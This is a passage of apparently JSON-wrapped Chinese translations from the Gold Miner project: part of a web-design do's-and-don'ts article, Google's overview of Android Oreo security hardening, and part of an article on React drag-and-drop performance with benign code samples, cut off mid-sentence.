了解过去和现在的位置让决定下一步去哪里变得更容易。\n\n![](https://cdn-images-1.medium.com/max/1600/0*45U7rev6kF8Zlltn.)\n\n了解访问过了哪些页面可以避免无意中重复访问相同的页面。\n\n\n#### 4. 让网页易于浏览\n\n在访问网站时，比起仔细阅读所有内容，用户更喜欢快速浏览屏幕。如果用户想要找到某些内容或完成某项任务，用户会浏览网页直到找到他们所需要的。而你，作为一枚设计师，可以通过设计**良好的视觉层次**来方便用户。视觉层次是指按照元素的重要性来排列元素或呈现元素。（举个例子：用户应该首先聚焦元素 A，其次聚焦元素 B，以此类推……）\n\n> 将页面标题、登录表单、导航项目或者其他重要的元素设为焦点，使其一目了然。\n\n![](https://cdn-images-1.medium.com/max/1600/1*gSXy2vu8lzDbUvcrEScY9g.png)\n\nBasecamp 使用的 [Z 字引导模式](https://uxplanet.org/z-shaped-pattern-for-reading-web-content-ce1135f92f1c) \n\n#### 5. 仔细检查所有超链接\n\n当用户点击站点上的链接然后进入 404 错误页时，这很容易让用户感到沮丧。当用户正在搜索内容时，他们希望每个链接都指向正确的地方，而不是 404 错误页或其他地方。\n\n![](https://cdn-images-1.medium.com/max/1600/1*Im329ptFcbuPl5zlmRzOiQ.png)\n\n#### 6. 确保可点击元素看起来能点击\n\n外观决定用途。视觉元素看起来像链接或按钮但是不能点击，这样很容易让用户迷惑（举个例子：带下划线的文字却不是超链接，具有号召性用语的元素却不是超链接）。用户需要知道网页上哪些部分是纯静态内容，哪些部分可以点击（或者触摸）。\n\n> 让可点击元素更醒目\n\n![](https://cdn-images-1.medium.com/max/1600/1*rhNztD3TBTgfPrnNQpwCiA.png)\n\n**Menagerie Climb：这个橘黄色的盒子是一个按钮吗？答案是否定的。它的形状和标签让它看起来像是一个按钮，然而实际并非如此。**\n\n### 不应该做的\n\n#### 1. 让你的用户等待太久\n\n根据 [NNGroup 的调查](https://www.nngroup.com/articles/powers-of-10-time-scales-in-ux/)。Web 用户非常没有耐心，只能维持很短暂的注意力。\n\n> 用户的注意力最多维持 10 秒\n\n当用户必须等待网站加载时，他们会变得沮丧，而且只要网站加载速度不够快，用户可能会离开您的网站。即使有最精美的加载指示器，如果加载时间过长，也避免不了用户离开网站。\n\n![](https://cdn-images-1.medium.com/max/1600/1*bOnmY_q5LdzMbPXykFO-ZA.gif)\n\n图片来源：[Ramotion](https://dribbble.com/shots/1816425-Loading-Animation-Intro)\n\n#### 2. 在新标签页打开新页面\n\n这种不恰当的行为会使**返回**键不起作用，而用户通常都会使用**返回**键来回到上一个页面。\n\n![](https://cdn-images-1.medium.com/max/1600/0*dM8vZQw5HVJX7CJN.)\n\n#### 3. 广告满天飞\n\n促销广告会遮盖它们旁边的内容，使得用户更难完成任务。更不用说任何看起来像广告的东西通常都会被用户忽略（这种现象被称为**横幅盲点**）。\n\n![](https://cdn-images-1.medium.com/max/1600/1*5xumyiV2XNYBvj5m1sXQDg.png)\n\n通常，用户会忽略任何看起来像广告的东西（这种现象被称为横幅盲点）\n\n#### 4. 滚动劫持\n\n滚动劫持指的是设计师或者开发者在网站上控制并自定义了滚动条的行为。包括：动画效果、固定滚动点、甚至重新设计滚动条本身的样式。滚动劫持是许多用户最讨厌的事情之一，因为用户失去了对滚动条的控制。设计网站或者用户界面时，要让用户在浏览网站或者应用时能够自主浏览和移动。\n\n![](https://cdn-images-1.medium.com/max/1600/1*eVt_9-Id2vH393Pon7vyWw.png)\n\n[Mac Pro 页面](http://www.apple.com/mac-pro/)使用了一些可恶的滚动效果。它使用单页视差布局，其中每一个小圆点代表页面的一部分。\n\n#### 5. 自动播放有声音的视频\n\n在后台自动播放的视频、音频会惹恼用户。这些务必谨慎使用，并且只在合适的情况下，用户期望如此时才使用。\n\n![](https://cdn-images-1.medium.com/max/1600/1*sxsQBUFoorO3mM5mCyeM3A.png)\n\nFacebook 的视频虽然会自动播放，但是默认是静音播放的，除非用户以某种方式暗示他们正在观看视频才会有声音（例如通过与视频进行交互）。\n\n#### 6. 为了美观而牺牲可用性\n\n网站设计或者用户界面设计绝不应该妨碍用户交互。重要的是，要避免给内容配上杂乱的背景，避免使用妨碍阅读、色彩对比不足等糟糕的配色方案（例如下面的示例）。\n\n![](https://cdn-images-1.medium.com/max/1600/1*Za4Spqvh0ImTuRcKg-0lVQ.png)\n\n**避免文字颜色和背景色的对比度过低。**\n\n#### 7. 使用闪烁的文字和广告\n\n闪烁的内容不但可能引起敏感人群的癫痫发作，而且可能使普通用户心烦意乱。\n\n![](https://cdn-images-1.medium.com/max/1600/1*PIXIsMOrHGP8YnOQ3UsNug.gif)\n\n别用闪烁的文字！\n\n---\n\n**欢迎留言分享您的建议！**\n\n**欢迎关注 UX Planet:** [*Twitter*](https://twitter.com/101babich) | [*Facebook*](https://www.facebook.com/uxplanet/)\n\n**原文地址：** [*babich.biz*](http://babich.biz/do-and-donts-webdesign/)\n\n\n  ---\n\n  > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/double-stuffed-security-in-android-oreo.md",
    "content": "> * 原文地址：[Double Stuffed Security in Android Oreo](https://android-developers.googleblog.com/2017/12/double-stuffed-security-in-android-oreo.html)\n> * 原文作者：[Gian G Spicuzza](https://android-developers.googleblog.com/2017/12/double-stuffed-security-in-android-oreo.html)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/double-stuffed-security-in-android-oreo.md](https://github.com/xitu/gold-miner/blob/master/TODO/double-stuffed-security-in-android-oreo.md)\n> * 译者：[一只胖蜗牛](https://github.com/XPGSnail)\n> * 校对者：[corresponding](https://github.com/corresponding)，[SumiMakito](https://github.com/SumiMakito)\n\n# [像奥利奥一样的双重安全措施，尽在 Android Oreo](https://android-developers.googleblog.com/2017/12/double-stuffed-security-in-android-oreo.html)\n\n由 Android 安全团队的 Gian G Spicuzza 发表\n\nAndroid Oreo 中包含很多安全性提升的更新。几个月以来，我们讨论了如何增强 Android 平台及应用的安全性: 从[提供更安全的获取应用渠道](https://android-developers.googleblog.com/2017/08/making-it-safer-to-get-apps-on-android-o.html)，移除[不安全的网络协议](https://android-developers.googleblog.com/2017/04/android-o-to-drop-insecure-tls-version.html)，提供更多[用户控制符](https://android-developers.googleblog.com/2017/04/changes-to-device-identifiers-in.html)，[加固内核](https://android-developers.googleblog.com/2017/08/hardening-kernel-in-android-oreo.html)，[使 Android 更易于更新](https://android-developers.googleblog.com/2017/07/shut-hal-up.html),直到[加倍 Android 安全奖励奖励项目的支出](https://android-developers.googleblog.com/2017/06/2017-android-security-rewards.html)。如今 Oreo 终于正式和大家见面了，让我们回顾下这其中的改进。  \n\n### 扩大硬件安全支持\n\nAndroid 早已支持[开机验证模式(Verified Boot)](https://source.android.com/security/verifiedboot/)，旨在防止设备软件被篡改的情况下启动。在 Android Oreo 中，我们随着[ Project Treble ](https://source.android.com/devices/architecture/treble)一同运行的验证开机模式(Verified Boot)，称之为 Android 验证开机模式2.0(Android Verified Boot 2.0)(AVB)。AVB 有一些使得更新更加容易、安全的功能，例如通用的分区尾部（AVB 中位于文件系统分区尾部的结构）以及回滚保护。回滚保护旨在保护 OS 降级的设备，防止降级到到低版本的系统后被人攻击。为此，设备将通过专用的硬件保存系统版本信息或使用可信执行环境（Trusted Execution Environment, TEE）对数据进行签名。 Pixel 2 和 Pixel 2 XL 自带这种保护，并且我们建议所有设备制造商将这个功能添加到他们的新设备中。\n\nOreo 还包括新的[原始设备制造商锁(OEM Lock)硬件抽象层(HAL)](https://android-review.googlesource.com/#/c/platform/hardware/interfaces/+/527086/-1..1/oemlock/1.0/IOemLock.hal)使得设备制造商能够更加灵活的保护设备，无论设备处于锁定、解锁或者可解锁状态。例如，新的 Pixel 设备通过硬件抽象层命令向启动引导程序（bootloader）传递命令。启动引导装载程序会在下次开机分析这些命令并检查安全存储于有重放保护的内存区（Replay Protected Memory Block, RPMB）中对锁更改的信息是否合法。如果你的设备被偷了，这些保护措施旨在保护你的设备被重置，从而保护你的数据安全。新的硬件抽象层(HAL)甚至支持将锁移动到专用的硬件中。\n\n谈到硬件，我们添加了防伪硬件支持，例如在每一个 Piexl 2 和 Piexl 2 XL 设备中内嵌的[安全模块](https://android-developers.googleblog.com/2017/11/how-pixel-2s-security-module-delivers.html)。这种物理芯片可以防止很多软硬件攻击，并且还抵抗物理渗透攻击. 安全模块防止推导设备密码及限制解锁尝试的频率，使得很多攻击由于时间限制而失效。\n\n新的 Pixel 设备配有特殊的安全模块，所有搭载Android Oreo 的[谷歌移动服务(GMS)](https://www.android.com/gms/)的设备也需要实现[密钥验证](https://android-developers.googleblog.com/2017/09/keystore-key-attestation.html)。这提供了一种强[验证标识符](https://source.android.com/security/keystore/attestation#id-attestation)机制，例如硬件标识符。\n\n我们也为企业管理设备添加了新的功能。当配置文件或者公司管理员远程锁定配置文件时，加密密钥会从内存（RAM）中移除.这有助于保护企业数据的安全。\n\n### 平台加固及进程隔离\n\n作为[ Project Treble ](https://android-developers.googleblog.com/2017/05/here-comes-treble-modular-base-for.html)的一部分，为了使设备厂商可以更简单、低成本地更新，我们对 Android 的框架也进行了重构。将平台和供应商代码分离的目的也是为了提高安全性，根据[最小特权原则](https://en.wikipedia.org/wiki/Principle_of_least_privilege)，这些硬件抽象层(HALs)运行在[自己的沙盒中](https://android-developers.googleblog.com/2017/07/shut-hal-up.html)，只对有权限的驱动设备开放。\n\n追随着Android Nougat 中[媒体堆栈加固](https://android-developers.googleblog.com/2016/05/hardening-media-stack.html)，我们在Android Oreeo 媒体框架中移除了许多直接访问硬件的模块，从而创造了更好的隔离环境。此外，此外我们启用了所有媒体组件中的控制流完整性（Control Flow Integrity, CFI）保护。这种缺陷可以通过破坏应用的正常控制流，从而利用这种特权执行恶意的活动。 CFI 拥有健全的安全验证机制，不允许随意更改原来编译后二进制文件的控制流程图，也使得这样的攻击难以执行。\n\n除了这些架构改变和CFI以外，Android Oreo 还带来了其他平台安全性相关的提升：\n\n* **[Seccomp（Secure computing mode, 安全计算模式）过滤](https://android-developers.googleblog.com/2017/07/seccomp-filter-in-android-o.html)**: 一些系统层的调用不再对应用开放，从而减少潜在损害应用途径。\n* **[加固用户拷贝](https://lwn.net/Articles/695991/)**: 一个最新的 Android [安全漏洞掉渣](https://events.linuxfoundation.org/sites/events/files/slides/Android-%20protecting%20the%20kernel.pdf)显示：在内核漏洞中，失效的或者无边界检查情况约占 45%。在 Android 内核 3.18 及以上版本中，我们新增了一个边界检查的补丁，使得利用这个漏洞变得更困难，同时还同帮助开发者在他们代码中查找问题并修复问题。\n* **Privileged Access Never(PAN)仿真**: 同时针对 3.18 以上的内核新增了补丁，这个功能禁止内核直接访问用户空间，同时确保开发者利用加固后的方式开访问用户空间。\n* **内核地址空间布局随机化(KASLR)**：虽然Android已经支持地址空间布局随机化（ASLR）好多年了，我们仍针对 Android 内核 4.4 及以上版本提供了内核地址空间布局随机化（KASLR）补丁减少风险。内核地址空间布局随机化（KASLR）将在每次设备启动加载内核代码时随机分配地址，使得代码复用攻击，尤其是远程攻击更加难以执行。\n\n### 应用程序安全性及设备标示变更\n\n[Android 即时运行应用](https://developer.android.com/topic/instant-apps/index.html)运行在一个受限制的沙盒中，因此限制了部分权限和功能，例如访问设备内应用列表或者着明文传递数据。虽然是从 Android Oreo 才发布,但是即时运行应用支持在 [Android Lollipop](https://www.android.com/versions/lollipop-5-0/) 及以上版本的设备上运行。\n\n为了更安全的处理不可信内容，我们通过将渲染引擎放到另一个进程中并将它运行在一个独立的资源受限的沙盒中来[隔离 WebView](https://android-developers.googleblog.com/2017/06/whats-new-in-webview-security.html)。此外，WebView 还支持[安全浏览](https://safebrowsing.google.com/)，从而保护使用者浏览含有潜在危险的网站。\n\n最后，我们针对[设备标识做了重大的改变](https://android-developers.googleblog.com/2017/04/changes-to-device-identifiers-in.html)开放给用户更多的控制权，包括：\n\n* 静态的 Android ID 和 Widevine 将变为基于应用变化的值，这有助于限制设备中无法重置的标识符的使用。\n* 依照 [IETF RFC 7844](https://tools.ietf.org/html/rfc7844#section-3.7)，现在 `net.hostname` 将为空且 DHCP 客户端也将不再发送主机名称（hostname)。\n* 对于需要设备标识符的应用，我们新增了一个 `Build.getSerial() API` 并且通过权限对其进行保护。\n* 我们与安全研究人员一起 <sup>1</sup> 在各种芯片组固件中的 Wi-Fi 扫描环节中新增一个健全的MAC地址随机化功能.\n\nAndroid Oreo 带来远不止这些改进，还有[更多](https://www.android.com/versions/oreo-8-0/)。一如既往，如果您有关于 Android 的反馈或是改进建议。欢迎发送邮件至 security@android.com。\n\n---\n\n1:Glenn Wilkinson 以及在英国 SensePost 的团队、Célestin Matte、Mathieu Cunche：里昂大学，国立里昂应用科学学院，CITI 实验室，Mathy Vanhoef，KU Leuven\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/dragging-react-performance-forward.md",
    "content": "> * 原文地址：[Dragging React performance forward](https://medium.com/@alexandereardon/dragging-react-performance-forward-688b30d40a33)\n> * 原文作者：[Alex Reardon](https://medium.com/@alexandereardon?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/dragging-react-performance-forward.md](https://github.com/xitu/gold-miner/blob/master/TODO/dragging-react-performance-forward.md)\n> * 译者：[hexiang](https://github.com/hexianga)\n> * 校对者：[wznonstop](https://github.com/wznonstop)，[zephyrJS](https://github.com/zephyrJS)\n\n# **拖放库中 React 性能的优化**\n\n![](https://cdn-images-1.medium.com/max/800/1*I6CQ27V59uP_i7p1liMFtA.jpeg)\n\n照片由 [James Padolsey](https://unsplash.com/photos/6JCANHNBNGw?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) 在 [Unsplash](https://unsplash.com/collections/1584252/drag-blog?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) 拍摄\n\n我为 [React](https://reactjs.org/) 写了一个拖放库  [**react-beautiful-dnd**](https://github.com/atlassian/react-beautiful-dnd) 🎉。[Atlassian](https://medium.com/@Atlassian) 创建这个库的目的是为网站上的列表提供一种美观且易于使用的拖放体验。你可以阅读介绍文档: [关于拖放的反思](https://medium.com/@alexandereardon/rethinking-drag-and-drop-d9f5770b4e6b)。这个库**完全通过状态驱动** —— 用户的输入导致状态改变，然后更新用户看到的内容。这在概念上允许使用任何输入类型进行拖动，但是太多状态驱动拖动将会导致性能上的缺陷。🦑\n\n我们最近发布了 react-beautiful-dnd 的第四个版本 [`version 4`](https://github.com/atlassian/react-beautiful-dnd/releases/tag/v4.0.0)，其中包含了**大规模的性能提升**。\n\n![](https://cdn-images-1.medium.com/max/800/1*cn48EAW1k9TcDpfTtkySog.png)\n\n列表中的数据是基于具有 500 个可拖动卡片的配置，在开发版本中启用仪表的情况下进行记录的，开发版本及启用仪表都会降低运行速度。但与此同时，我们使用了一台性能卓越的机器用于这次记录。确切的性能提升幅度会取决于数据集的大小，设备性能等。\n\n您看仔细了，**我们看到有 99% 的性能提升** 🤘。由于这个库已经经过了[极致的优化](https://github.com/atlassian/react-beautiful-dnd#performance)，所以这些改进更加令人印象深刻。你可在[大型列表示例](https://react-beautiful-dnd.netlify.com/iframe.html?selectedKind=single%20vertical%20list&selectedStory=large%20data%20set)或[大型面板示例](https://react-beautiful-dnd.netlify.com/iframe.html?selectedKind=board&selectedStory=large%20data%20set)这两个例子中来感受性能提升的酸爽 😎。\n\n* * *\n\n在本博客中，我将探讨我们面临的性能挑战以及我们如何克服它们以获得如此重要的结果。我将谈论的解决方案非常适合我们的问题领域。有一些原则和技术将会出现 —— 但具体问题可能会在问题领域有所不同。\n\n我在这篇博客中描述的一些技术相当先进，其中大部分技术最好在 React 库的边界内使用，而不是直接在 React 应用程序中使用。\n\n### TLDR;\n\n我们都很忙！这里是这个博客的一个非常高度的概述：\n\n尽可能避免 `render` 调用。 另外以前探索的技术 ([第一轮](https://medium.com/@alexandereardon/performance-optimisations-for-react-applications-b453c597b191), [第二轮](https://medium.com/@alexandereardon/performance-optimisations-for-react-applications-round-2-2042e5c9af97))，我在这里有一些新的认识：\n\n*   避免使用 props 来传递消息\n*   调用 `render` 不是改变样式的唯一方法\n*   避免离线工作\n*   如果可以的话，批量处理相关的 Redux 状态更新\n\n### 状态管理\n\nreact-beautiful-dnd 的大部分状态管理使用 [Redux](https://redux.js.org/docs/introduction/)。这是一个实现细节，库的使用者可以使用任何他们喜欢的状态管理工具。本博客中的许多具体内容都针对 Redux 应用程序 —— 然而，有一些技术是通用的。为了能够向不熟悉 Redux 的人解释清楚，下面是一些相关术语的说明：\n\n*   **store:** 一个全局的状态容器  —  通常放在 [`context`](https://reactjs.org/docs/context.html) 中，所以**被连接的组件**可以被注册去更新。\n*   **被连接的组件:** 直接注册到 **store** 的组件. 他们的责任是响应 store 中的状态更新并将 props 传递给未连接的组件。这些通常被称为**智能或者容器**组件\n*   **未连接的组件**: 未连接到 Redux 的组件。他们通常被连接到 store 的组件包裹，接收来自 state 的 props。这些通常被称为**笨拙**或者**展示**组件\n\n**如果你感兴趣，这是一些来自 [Dan Abramov](https://medium.com/@dan_abramov)   的关于这些概念[更详细的信息](https://medium.com/@dan_abramov/smart-and-dumb-components-7ca2f9a7c7d0)**。\n\n### 第一个原则\n\n![Snipaste_2018-03-10_19-58-28.png](https://i.loli.net/2018/03/10/5aa3c874e327e.png)\n\n作为一般规则，您应该尽可能避免调用组件的 render() 函数，`render` 调用代价很大，有以下原因：\n\n*   `render` 函数调用的进程很费资源\n*   Reconciliation\n\n[Reconciliation](https://reactjs.org/docs/reconciliation.html) 是 React 构建一颗新树的过程，然后用当前的视图（虚拟 DOM）来进行 **调和**，根据需要执行实际的 DOM 更新。reconciliation 过程在调用一个 `render` 后被触发。\n\n`render` 函数的 processing 和 reconciliation 在规模上是代价很大的。 如果你有 100 个或者 10000 个组件，你可能不希望每个组件在每次更新时都协调一个 `store` 中的共享状态。理想情况下，只有**需要**更新的组件才会调用它的 `render` 函数。对于我们每秒 60 次更新（60 fps）的拖放，这尤其如此。\n\n我在前两篇博客 ([第一轮](https://medium.com/@alexandereardon/performance-optimisations-for-react-applications-b453c597b191), [第二轮](https://medium.com/@alexandereardon/performance-optimisations-for-react-applications-round-2-2042e5c9af97)) 中探讨了避免不必要的 `render` 调用的技巧，React 文档[关于这个问题的叙述](https://reactjs.org/docs/optimizing-performance.html)也讨论了这个主题。就像所有东西都有一个平衡点一样，如果你太过刻意地避免渲染，你可能会引入大量潜在的冗余记忆检查。 这个话题已经在其他地方讨论过了，所以我不会在这里详细讨论。\n\n除了渲染成本之外，当使用 Redux 时，连接的组件越多，您就需要在每次更新时运行更多的状态查询 ([`mapStateToProps`](https://github.com/reactjs/react-redux/blob/master/docs/api.md#connectmapstatetoprops-mapdispatchtoprops-mergeprops-options)) 和记忆检查。我在 [round 2 blog](https://medium.com/@alexandereardon/performance-optimisations-for-react-applications-round-2-2042e5c9af97#.zflzltn15) 中详细讨论了与 Redux 相关的状态查询，选择器和备忘录。\n\n### Problem 1：拖动开始之前长时间停顿\n\n![](https://cdn-images-1.medium.com/max/800/1*tgrL8LuY9xY46qFo7HhuLQ.gif)\n\n注意从鼠标下的圆圈出现到被选卡片变绿时的时间差。\n\n当点击一个大列表中的卡片时，需要相当长的时间才能开始拖拽，在 500 个卡片的列表中这是 **2.6 s 😢**！对于那些期望拖放交互是即时的用户来说，这是一个糟糕的体验。 让我们来看看发生了什么，以及我们用来解决问题的一些技巧。\n\n### Issue 1：原生维度的发布\n\n为了执行拖动，我们将所有相关组件的尺寸（坐标，大小，边距等）的快照放入到我们的 **state** 和拖动的开始处。然后，我们会在拖动过程中使用这些信息来计算需要移动的内容。 我们来看看我们如何完成这个初始快照：\n\n1.  当我们开始拖动时，我们对 `state` 发出请求 `request`。\n2.  **关联**维度发布组件读取此 `request` 并查看他们是否需要发布任何内容。\n3.  如果他们需要发布，他们会在**未连接**维度的发布者上设置一个 `shouldPublish` 属性。\n4.  **未连接**的维度发布者从 DOM 收集维度并使用 `publish` 回调来发布维度\n\n好的，所以这里有一些痛点：\n\n> 1. 当我们开始拖动时，我们在 `state` 上发起了一个 `request`。\n> 2. 关联维度发布组件读取此请求并查看他们是否需要发布任何内容\n\n此时，每个关联的维度发布者都需要针对 store 执行检查，以查看他们是否需要请求维度。不理想，但并不可怕。让我们继续\n\n> 3. 如果他们需要发布，他们会在未连接的维度发布者上设置一个 `shouldPublish` 属性\n\n我们过去使用 `shouldPublish` 属性来**传递消息**给组件来执行一个动作。不幸的是，这样做会有一个副作用，它会导致组件进行 render，从而引发该组件本身及其子组件的调和。当你在众多组件上执行这个操作时，代价昂贵。\n\n> 4. **未连接**的维度发布者从 DOM 收集维度并使用 `publish` 回调来发布维度\n\n事情会变得**更糟**。首先，我们会立即从 DOM 读取很多维度，这可能需要一些时间。从那里每个维度发布者将单独 `publish` 一个维度。 这些维度会被存储到状态中。这种 `state` 的变化会触发 store 的订阅，从而导致步骤二中的关联组件状态查询和记忆检查被执行。它还会导致应用程序中的其他连接组件类似地运行冗余检查。因此，每当未连接的维度发布者发布维度时，将导致所有其他连接组件的冗余工作。这是一个 O(n²) 算法 - 更糟！哎。\n\n#### The dimension marshal\n\n为了解决这些问题，我们创建了一个新角色来管理维度收集流程：`dimension marshal`（维度元帅）。以下是新的维度发布的工作方式：\n\n拖动工作之前：\n\n1.  我们创建一个 `dimension marshal`，然后把它放到了 [`context`](https://reactjs.org/docs/context.html) 中。\n2.  当维度发布者加载到 DOM 中时，它会从 `context` 中读取 `dimension marshal` ，并向 `dimension marshal` 注册自己。Dimension 发布者不再直接监听 store。 因此，不存在更多未连接的维度发布者。\n\n拖动工作开始：\n\n1.  当我们开始拖动时，我们对 `state` 发出 `request` 。\n2.  `dimension marshal` 接收 `request` 并直接向所需维度发布者请求关键维度（拖动卡片及其容器）以便开始拖动。 这些发布到 store 就可以开始拖动。\n3.  然后，`dimension marshal` 将在下一个帧中异步请求所有其他 dimension publishers 的 dimensions。这样做会分割从 DOM 中收集维度的成本，并将维度（下一步）发布到单独的帧中。\n4.  在另一个帧中，`dimension marshal` 执行所有收集维度的批量 `publish`。在这一点上，state 是完全混合的，它只需要三帧。\n\n这种方法的其他性能优势：\n\n*   更少的状态更新导致所有连接组件的工作量减少\n*   没有更多的连接维度发布者，这意味着在这些组件中完成的处理不再需要发生。\n\n因为 `dimension marshal` 知道系统中的所有 `ID` 和  `index`，所以它可以直接请求任何维度 `O（1）`。这也使其能够决定如何以及何时收集和发布维度。 以前，我们有一个单独的 `shouldPublish` 信息，它对一切都立即进行回应。`dimension marshal` 在调整这部分生命周期的性能方面给了我们很大的灵活性。如果需要，我们甚至可以根据设备性能实施不同的收集算法。\n\n#### 总结\n\n我们通过以下方式改进了维度收集的性能：\n\n*   不使用 props 传递没有明显更新的消息。\n*   将工作分解为多个帧。\n*   跨多个组件批量更新状态。\n\n### Issue 2：样式更新\n\n当一个拖动开始的时候，我们需要应用一些样式到每一个 `Draggable` (例如 `pointer-events: none;`)。为此我们应用了一个行内样式。为了应用行内样式我们需要 `render` 每一个 `Draggable`。当用户试图开始拖动时，这可能会导致潜在的在 100 个可拖动卡片上调用 `render`，这会导致 500 个卡片耗费 350 ms。\n\n那么，我们将如何去更新这些样式而不会产生 `render`?\n\n#### 动态共享样式 💫\n\n对于所有 `Draggable` 组件，我们现在应用共享数据属性（例如 `data-react-beautiful-dnd-draggable`）。`data` 属性从来没有改变过。 但是，我们通过我们在页面 `head` 创建的**共享样式元素**动态地更改应用于这些数据属性的样式。\n\n这是一个简单的例子：\n\n```\n// 创建一个新的样式元素\nconst el = document.createElement('style');\nel.type = 'text/css';\n\n// 将它添加到页面的头部\nconst head = document.querySelector('head');\nhead.appendChild(el);\n\n// 在将来的某个时刻，我们可以完全重新定义样式元素的全部内容\nconst setStyle = (newStyles) => {\n  el.innerHTML = newStyles;\n};\n\n// 我们可以在生命周期的某个时间点应用一些样式\nsetStyle(`\n  [data-react-beautiful-dnd-drag-handle] {\n    cursor: grab;\n  }\n`);\n\n// 另一个时刻可以改变这些样式\nsetStyle(`\n  body {\n    cursor: grabbing;\n  }\n  [data-react-beautiful-dnd-drag-handle] {\n    point-events: none;\n  }\n  [data-react-beautiful-dnd-draggable] {\n    transition: transform 0.2s ease;\n  }\n`);\n```\n\n**如果你感兴趣，你可以看看我们怎么**[**实施它的**](https://github.com/atlassian/react-beautiful-dnd/blob/0fb4dc75ea9b625f64cac48602635ac2822f26ec/src/view/style-marshal/style-marshal.js)。\n\n在拖拽生命周期的不同时间点上，我们重新定义了样式规则本身的内容。 您通常会通过切换 `class` 来改变元素的样式。 但是，通过使用定义动态样式，我们可以避免应用新的 `class` 去 `render` 任何需要渲染的组件。\n\n**我们使用 `data` 属性而不是 `class` 使这个库对于开发者更容易使用，他们不需要合并我们提供的 `class` 和他们自己的 `class`**。\n\n使用这种技术，我们还能够优化拖放生命周期中的其他阶段。 我们现在可以更新卡片的样式，而无需 `render` 它们。\n\n**注意：您可以通过创建预置样式规则集，然后更改 `body`上的 `class` 来激活不同的规则集来实现类似的技术。然而，通过使用我们的动态方法，我们可以避免在 `body` 上添加 `class`es。并允许我们随着时间的推移使用具有不同值的规则集，而不仅仅是固定的。**\n\n不要害怕，`data` 属性的选择器性能[很好](https://benfrain.com/css-performance-revisited-selectors-bloat-expensive-styles/)，与 `render` 性能差别很大。\n\n### Issue 3：阻止不需要的拖动\n\n当一个拖动开始时，我们也在 `Draggable` 上调用 `render` 来将 `canLift` prop 更新为 `false`。这用于防止在拖动生命周期中的特定时间开始新的拖动。我们需要这个 prop ，因为有一些键盘鼠标的组合输入可以让用户在已经拖动一些东西的期间开始另一些东西的拖动。我们仍然真的需要这个 `canLift` 检查 —— 但是我们怎么做到这一点，而无需在所有的 `Draggables`上调用 `render`？\n\n#### 与 State 结合的 context 函数\n\n我们没有通过 `render` 更新每个 `Draggable` 的 props 来阻止拖动的发生，而是在 `context` 中添加了 `canLift` 函数。该函数能够从 store 中获得当前状态并执行所需的检查。通过这种方式，我们能够执行相同的检查，但无需更新 `Draggable` 的 props。\n\n**此代码大大简化，但它说明了这种方法：**\n\n```\nimport React from 'react';\nimport PropTypes from 'prop-types';\nimport createStore from './create-store';\n\nclass Wrapper extends React.Component {\n // 把 canLiftFn 放置在 context 上\n static childContextTypes = {\n   canLiftFn: PropTypes.func.isRequired,\n }\n\n getChildContext(): Context {\n   return {\n    canLiftFn: this.canLift,\n   };\n }\n\n componentWillMount() {\n   this.store = createStore();\n }\n\n canLift = () => {\n   // 在这个位置我们可以进入 store\n   // 所以我们可以执行所需的检查\n   return this.store.getState().canDrag;\n }\n \n // ...\n}\n\nclass DraggableHandle extends React.Component {\n  static contextTypes = {\n    canLiftFn: PropTypes.func.isRequired,\n  }\n\n  // 我们可以用它来检查我们是否被允许开始拖拽\n  canStartDrag() {\n    return this.context.canLiftFn();\n  }\n\n  // ...\n}\n```\n\n很明显，你只想非常谨慎地做到这一点。但是，我们发现它是一种非常有用的方法，可以在**不**更新 props 的情况下向组件提供 store 信息。鉴于此检查是针对用户输入而进行的，并且没有渲染影响，我们可以避开它。 \n\n### 拖曳开始前不再有很长的停顿\n\n![](https://cdn-images-1.medium.com/max/800/1*RTkP4pJmX_4eGQUzkUVTIw.gif)\n\n在拥有 500 个卡片的列表中进行拖动立刻就拖动了\n\n通过使用上面介绍的技术，我们可以将在一个有 500 个可拖动卡片的拖动时间从 2.6 s 拖动到到 15 ms（在一个帧内），这是一个 **99％ 的减少 😍!**。\n\n### Problem 2：缓慢的位移\n\n![](https://cdn-images-1.medium.com/max/800/1*xio-0VMqqAzA2t45_Uzkzw.gif)\n\n移动大量卡片时帧速下降。\n\n从一个大列表移动到另一个列表时，帧速率显著下降。 当有 500 个可拖动卡片时，移入新列表将花费大约 350 ms。\n\n### Issue 1：太多的运动\n\nreact-beautiful-dnd 的核心设计特征之一是卡片在发生拖拽时会自然地移出其它卡片的方式。但是，当您进入新列表时，您通常可以一次取代大量卡片。 如果您移动到列表的顶部，则需移动下整个列表中的所有内容才能腾出空间。离线的 CSS 变化本身[代价不大](https://codepen.io/alexreardon/full/Ozwxqa/)。然而，与 `Draggables` 沟通，通过 `render` 